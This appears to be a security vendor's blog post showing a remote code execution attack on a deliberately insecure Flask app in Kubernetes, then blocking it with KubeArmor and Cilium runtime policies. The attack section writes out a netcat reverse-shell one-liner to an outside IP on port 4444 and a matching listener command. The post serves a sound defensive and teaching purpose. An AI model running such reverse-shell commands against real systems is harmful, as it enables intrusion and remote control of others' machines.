BLOG

Defending Flask Workloads using Accuknox OpenSource

KubeArmor

It's no wonder about 1045+ companies reportedly use Flask in their tech stacks, including Netflix, Reddit, Lyft because of its effectiveness & ease of use.


Introduction

With Python frameworks in play, developers get the freedom to focus on the logic of the application rather than worrying about all the other elements by staying in a defined structure.

Developers choose Flask over various frameworks like Web2Py, TurboGears and Django for developing web applications because it is easy to learn, highly scalable, has a flexible project layout, facilitates experimentation, and has Greater control on codes and extensions.

It's no wonder because of its effectiveness and ease of use about 1045+ companies reportedly use Flask in their tech stacks, including Netflix, Reddit, and Lyft.

With its popularity among developers, Flask is all the more susceptible to vulnerabilities and attacks.

Let's take a look at a simple flask workload with some insecure modules.  We will also discuss how to protect (at run-time) against such vulnerabilities using Accuknox’s open-source modules like KubeArmor, CIlium, and Auto-Discovery.

The Microservice

The application that we are showcasing here today is a simple Flask application that returns a “Hello World” message when queries at the endpoint /hello.

flask app microservice

Flask app microservice

You can see that the user will interact with the flask-app microservice via their browser, and the flask-app microservice will return a “Hello World” message

We will deploy the application on a Kubernetes cluster and install Accuknox open-source components KubeArmor, Cilium, and Auto Policy Discovery to enforce run-time security policies.

The Scenario Setup

The scenario's purpose is to demonstrate how an attacker can make use of dynamic code execution using exposed endpoints.

Let's create a Kubernetes cluster

gcloud container clusters create flask-demo --zone us-central1-c

Cluster

The application has a logging function defined which will perform original formatting and try to extract the string content under the special pattern  $

Feel free to use the below deployment file to deploy the application to your k8s environment

Deployment file

Deployment file

Time to deploy it on our Kubernetes environment

kubectl apply -f https://raw.githubusercontent.com/accuknox/samples/main/flask-app/k8s.yaml

Github user content

Let us take a look at the log formatter module

Formatter Module

Formatter module

The formatter performs original formatting and invokes substitute_pattern function which scans the string to be logged for $ the pattern. Once such string is found it calls the str() function which in turn invokes __str__() the method. Anything inside the __str__() method is executed blindly unless a string value is returned.

For the complete code please refer to the GitHub page

How does this work?

By using Burpsuite as initial recon, we were able to determine that it is running on a python server and the API accepts text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

We will try to trick the interpreter and generate a runnable python object with specially crafted requests. For this, we will try to add a header with a URL that hosts our exploit code while sending the request.

Let's get the IP address of our deployed flask application

Flask application

Flask application

Time to create a crafted message to the flask-app’s public IP:

Flask application -2

Flask application -2

The exploit1.py contains the command system("echo it worked!"). We will check the logs and see whether the exploit actually ran.

check the logs

Command

That's it! It worked. Let's craft some exploits that will give us remote access to the machine. For this, we will tweak the command as os.system("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f |/bin/sh -i 2>&1 | nc 34.67.86.78 4444 > /tmp/f"). This will make sure that we get a reverse shell on port 4444. For that on our machine let's listen for any incoming connection on port 4444 by using the command nc -lnvp 4444.

Now that our listener is ready we just need to send a crafted request to the flask app.

Flask app

Flask app

The moment we run this code we will get a reverse shell on port 4444

Reverse shell pod.

Reverse shell pod.

Voila! We got a reverse shell into the pod.

You can get the exploit.py files from samples/flask-app at main · accuknox/samples

Providing Run-time protection and (defending against the example vulnerability)  with AccuKnox Open-source tools

Accuknox enables the ability to protect your workloads at run-time. Accuknox enables this by allowing you to configure policies (or auto-discover them) for application and network behavior using KubeArmor, Cilium, and Auto Policy Discovery tools

KubeArmor

KubeArmor, is open-source software that enables you to protect your cloud workload at run-time.

The problem that KubeArmor solves is that it can prevent cloud workloads from executing malicious activity at runtime.  Malicious activity can be any activity that the workload was not designed for or is not supposed to do.

Cilium

Cilium, is an open-source project to provide eBPF-based networking, security, and observability for cloud-native environments such as Kubernetes clusters and other container orchestration platforms.

Auto Policy Discovery for your Flask Application

Even though writing KubeArmor and CIlium (System and Network) policies are not a big challenge AccuKnox opensource has it simplified one step further by introducing a new CLI tool for Auto Discovered Policies. The Auto-Discovery module helps users by identifying the flow and generating policies based on it.

Discovering policies has never been better with Auto Discovery. In two simple commands, you can set up and generate policies without having any trouble.

We will use AccuKnox Auto Discovered Policies to generate zero-trust runtime security policies to secure our workload.

To auto-discover policies, execute the following command

curl -s https://raw.githubusercontent.com/accuknox/tools/main/get_discovered_yamls.sh | bash

Github user content

You should be able to see the following output.

Command-2

Command-2

In mere seconds after installing executing auto policy discovery tool, it generated 33 Cilium policies and 292 KubeArmor policies

Auto Policy Discovery was able to discover network-level policies that allow communication only via port 80 thereby eliminating the possibility of a reverse shell bind request on port 4444 happening.

Auto policy discovery template

Auto policy discovery template

These features by AccuKnox open-source make sure that all the necessary policies to secure your workload are generated and ready to be used in a single click.

So how do we block the above Remote Code Execution (RCE)

We are able to block RCE  by enforcing a simple policy via KubeArmor, the policy is as follows:

enforcing a simple policy via KubeArmor

Remote Code Execution (RCE)

You can simply take advantage of AccuKnox open-source GitHub inventory, and apply policy directly from there. We will search for python-flask-related policies in the policy-templates and apply them using the following command.

kubectl apply -f https://raw.githubusercontent.com/kubearmor/policy-templates/main/python/system/ksp-deny-rce-on-flask-app-pod.yaml

Github user content-2

Once the policy is applied let's go ahead and try the attack once more.

code block

code block

This time we will not reverse a shell because we are denying the ports and well as execution of binaries inside the container

Not reverse a shell

Checking the policy logs on KubeArmor

There are two ways we can check policy logs on KubeArmor.

Using kubearmor.log

The traditional way is all about finding the KubeArmor pod running on the same node as the application pod and executing inside it to find logs.

  1. Get the node name which your application pod is running

Pod

Pod

2. We will take the node name gke-flask-demo-default-pool-98e6314e-89p2 and check for the KubeArmor pod running on it.

KubeArmor Template

Kubearmor template

3. We got to know that kubearmor-xh4zb the pod is running on node gke-flask-demo-default-pool-98e6314e-89p2.

4. Let us execute into the pod and watch the logs (you watch the entire logs or grep it with keywords like policy name)

execute into the pod

5. Blocked Log Created by KubeArmor

Blocked Log

Blocked log

Using kArmor

kArmor is a CLI client to help manage KubeArmor. With kArmor you can get the logs in 2 steps

  1. Download and Install kArmor CLI (if not present)

Download and Install kArmor CLI (if not present)

Github user content-3

2. Enable port-forwarding for KubeArmor relay

Enable port-forwarding

3. Observing logs using kArmor cli

Observing logs using kArmor cli

4.  Blocked Log Created by kArmor

Blocked log

Blocked log

Accuknox's policy templates repository

Accuknox's policy templates is an open-source repo that also contains a wide range of attack prevention techniques including MITRE, as well as hardening techniques for your workloads. Please visit GitHub - kubearmor/policy-templates: Community curated list of System and Network policy templates for the KubeArmor and Cilium to download and apply policy templates.

Conclusion

An attacker can trick every interpreted language into dynamic code execution via eval if they are exposed to the public internet.

Using AccuKnox open-source, an organization can effectively protect against these sorts of accidental developer-introduced as well as zero-day vulnerabilities.


Now you can protect your workloads in minutes using AccuKnox, it is available to protect your Kubernetes and other cloud workloads using Kernel Native Primitives such as AppArmor, SELinux, and eBPF.

Let us know if you are seeking additional guidance in planning your cloud security program.

Read more blogs from Cloud Security Category here.